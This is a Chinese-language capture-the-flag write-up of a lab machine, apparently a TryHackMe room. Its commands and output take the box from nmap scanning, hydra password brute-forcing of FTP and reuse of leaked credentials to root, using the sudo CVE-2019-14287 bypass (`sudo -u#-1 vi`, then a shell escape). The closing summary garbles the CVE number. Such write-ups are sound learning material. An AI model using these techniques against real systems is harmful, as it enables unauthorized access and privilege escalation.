看WriteUp打靶
nmap开扫
$ nmap -sC -sV -Pn 10.10.187.232
------------扫描结果-----------
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-21 21:13 CST
Nmap scan report for 10.10.187.232
Host is up (0.28s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 a08b6b7809390332ea524c203e82ad60 (DSA)
| 2048 df25d0471f37d918818738763092651f (RSA)
| 256 be9f4f014a44c8adf503cb00ac8f4944 (ECDSA)
|_ 256 dbb1c1b9cd8c9d604ff198e299fe0803 (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.10 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.92 seconds
扫到了 21和22端口,先试一下 ftp服务有没有anonymous登陆,呃,没有
访问网页:

apache默认界面,没啥有用的信息
$ dirsearch -u http://10.10.187.232/
扫描到一个文件夹 /assets/,访问是一个文件目录
RickRolled.mp4和style.css
第一个是一个视频(前段时间很火的,同学给我说代表你被骗了的搞怪视频)
在看看style.css 文件
发现了一个“秘密文件”!!!不得了
/*
Nice to see someone checking the stylesheets.
Take a look at the page: /sup3r_s3cr3t_fl4g.php
*/
再访问 sup3r_s3cr3t_fl4g.php
弹框要求关闭 Javascript .

恼,又被那个男人骗了!!!
Love it when people block Javascript...
This is happening whether you like it or not... The hint is in the video. If you're stuck here then you're just going to have to bite the bullet!
Make sure your audio is turned up!
<那个视频[https://www.youtube.com/watch?v=dQw4w9WgXcQ]>(正是Rick Astley)
网页报错的意外发现

预期解应该是用Burp Suite抓包,然后再 Forward(放包)

再访问http://10.10.187.232/WExYY2Cv-qU,同样也是一个目录页。,只有一张名为Hot_Babe.png的图片
没啥思路了,就把图片download下来。
exiftool后没什么发现
再看看strings,重大发现
Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
得到了ftp服务的账号和密码"们",还需要爆破【又了解了一款工具】
hydra -h看一下教程

先将上面发现的密码保存为文件pass.txt
$ hydra -l ftpuser -P pass.txt ftp://10.10.187.232/
--Get 到密码
[21][ftp] host: 10.10.187.232 login: ftpuser password: 5iez1wGXKfPKQ
连接ftp服务,Bingo! 成功
dir查看一下当前目录,有一个文件,先down下来再说。
查看 Eli’s_Creds.txt内容
$ cat Eli\'s_Creds.txt
+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[ ->--- <]>-- ---.- ----. <
在线解密brainfusk,得到账号密码
User: eli
Password: DSpDiM1wAEwid
连接ssh服务
$ ssh eli@10.10.187.232
Bingo成功登陆,并收到一条message
1 new message
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE
Message提示我们有一个s3cr3t文件(夹)被藏起来了
$ locate s3cr3t
/usr/games/s3cr3t
/usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
/var/www/html/sup3r_s3cr3t_fl4g.php
可以发现,在s3cr3t文件夹下有一个隐藏文件,查看它
$ cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just MniVCQVhQHUNI
Honestly!
Yours sincerely
-Root
同样的,也是一封信,信是Root留下来的,说明了Gwendoline的密码是 MniVCQVhQHUNI
在浏览eli的文件时发现了
在家目录/home/下有两个文件夹:eli和gwendoline,说明另一个用户名为gwendoline.
没发现其他的有用信息了,切换用户
$ su gwendoline
在gwendoline文件夹下发现user.txt 得到第一个flag THM{xxxxxxxxxxxxxxxxxxxx}
sudo -l
$ sudo -l
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
这条路是走不通了。
太菜了,开始查看WP
$ sudo -V
Sudo version 1.8.10p3
Sudoers policy plugin version 1.8.10p3
Sudoers file grammar version 43
Sudoers I/O plugin version 1.8.10p3
这个版本的sudo 是存在CVE的 CVE-2019-14287
漏洞介绍
当
sudo的版本低于 <1.8.28
漏洞利用
$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
然后再在文件内输入 ":!/bin/sh" 就可以提升到root的shell了
flag在/root目录下
文章描述了一次渗透测试的过程,从使用nmap扫描目标系统,发现开放的ftp和ssh服务,到利用网页线索找到隐藏文件,最终通过密码爆破登录ftp,获取到ssh凭证,并发现sudo漏洞(CVE-19-14287),成功提升权限到root并找到flag。
1007

被折叠的 条评论
为什么被折叠?



